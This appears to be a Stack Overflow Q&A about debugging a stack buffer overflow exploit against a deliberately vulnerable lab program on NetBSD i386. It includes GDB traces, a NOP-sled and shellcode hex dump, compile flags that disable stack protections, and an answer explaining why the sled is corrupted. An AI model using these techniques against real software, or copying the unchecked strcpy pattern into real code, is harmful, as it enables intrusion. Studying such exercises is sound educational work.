5

I'm trying to exploit a buffer overflow in a test program to execute arbitrary code. I'm on NetBSD 6 i386. Here is the C code:

int checkPassword(char *password)
{
  char                  savePassword[64] = {0};
  char                  *logMessage;
  int                   isUser = 0;
  int                   isAdmin = 0;
  int                   i;

  if (!strcmp(password, userPassword))
    isUser = 1;
  strcpy(savePassword, password);  
  for (i = 0; password[i]; ++i)
    password[i] ^= xorKey;
  if (!strcmp(password, adminPassword))
    isAdmin = 1;
  if (!(isAdmin | isUser)) {
    /* ... */
  }
  return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */
}

I insert the code in the savePassword buffer (at %ebp - 0x58). Here is the debugging with GDB:

# gdb -q ./pepito
Reading symbols from /root/Pepito/source/pepito...done.
(gdb) b main.c:79
Breakpoint 1 at 0x80490f4: file main.c, line 79.
(gdb) r debug
Starting program: /root/Pepito/source/pepito debug
Daemon started

Breakpoint 1, checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:79
79        return isAdmin ? ADMIN : isUser ? USER : NOBODY;

I break on the function return, then I ensure the arbitrary code (96 bytes length) was correctly wrote on the stack:

(gdb) x/96xb $ebp-0x58
0xbfbfd560:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd568:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd570:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd578:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd580:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd588:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd590:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd598:     0x90    0xb0    0x04    0x6a    0x0c    0x6a    0x50    0x6a
0xbfbfd5a0:     0x01    0x6a    0x01    0xcd    0x60    0x00    0x00    0x00
0xbfbfd5a8:     0x31    0xd2    0x66    0x52    0x6a    0x01    0xcd    0x80
0xbfbfd5b0:     0x48    0x65    0x6c    0x6c    0x6f    0x20    0x77    0x6f
0xbfbfd5b8:     0x72    0x6c    0x64    0x0a    0x78    0xd5    0xbf    0xbf

Then I continue until the ret assembly instruction:

(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) x/i $eip 
=> 0x8049119 <checkPassword+393>:       ret

Then I check the return address that is a the top of the stack (at %esp):

(gdb) x/xw $esp
0xbfbfd5bc:     0xbfbfd578

This address will be poped by ret and then we will jump at it. Let's see the instructions we have at that address:

(gdb) x/50i 0xbfbfd578
   0xbfbfd578:  nop
   0xbfbfd579:  nop
   0xbfbfd57a:  nop
   [...]
   0xbfbfd597:  nop
   0xbfbfd598:  nop
   0xbfbfd599:  mov    al,0x4
   0xbfbfd59b:  push   0xc
   0xbfbfd59d:  push   0x50
   0xbfbfd59f:  push   0x1
   0xbfbfd5a1:  push   0x1
   0xbfbfd5a3:  int    0x60

Our arbitrary code!

But if I execute the ret it segfaults:

(gdb) nexti 

Program received signal SIGSEGV, Segmentation fault.
0x08049119 in checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:80
80      }
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>:       ret

It seems the operating system forbade me to jump on the stack memory. But I disabled the non executable stack protections:

gcc -m32 -g -fno-stack-protector -D_FORTIFY_SOURCE=0  -c main.c
gcc main.o daemon.o network.o utils.o -o pepito -m32 -L./lib_netbsd -lsecret -Wl,-rpath,./lib_netbsd -Wl,-z,execstack

readelf confirms us that the stack is executable:

# readelf -l pepito

Elf file type is EXEC (Executable file)
Entry point 0x8048d60
There are 7 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  [...]
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
lesenk
  • 793
  • 1
  • 8
  • 22

1 Answers1

-1

On my box, after overflowing savePassword via the strcpy call. I got the following instruction :

0x80484ba : movl $0x0,-0x14(%ebp)

It corresponds to the local variable i initialization with 0

for (i = 0; password[i]; ++i)

This was corrupting the NOP sled in the injected code, thus provoking a segfault during execution. Have a look on your side. If it's the same (I am almost sure it is) then you could simply move your shellcode to the beggining of the payload and get rid of the NOP sled.

And as Fermat2357 said, consider posting the function dump and also the entire payload before the ret instruction.

GCC:

gcc version 4.8.0 20130502 (prerelease) (GCC)

Compiled with:

gcc -m32 -ggdb -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 vuln.c -o vuln

Snippet

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define ADMIN  2
#define USER   1
#define NOBODY 0

char* userPassword = "S3cuRe";
char* adminPassword = "4dm1n";
int xorKey = 0;

int checkPassword(char *password)
{
        char savePassword[64] = {0};
        char *logMessage;
        int  isUser = 0;
        int  isAdmin = 0;
        int  i;

        if (!strcmp(password, userPassword))
                isUser = 1;
        strcpy(savePassword, password);
        for (i = 0; password[i]; ++i)
                password[i] ^= xorKey;
        if (!strcmp(password, adminPassword))
                isAdmin = 1;
        if (!(isAdmin | isUser)) {
        }

        return isAdmin ? ADMIN : isUser ? USER : NOBODY;
}

void main(int argc, char *argv[])
{
        int user = NOBODY;
        user = checkPassword(argv[1]);
        printf("Hello %d\n", user);
}
dna
  • 1,085
  • 7
  • 15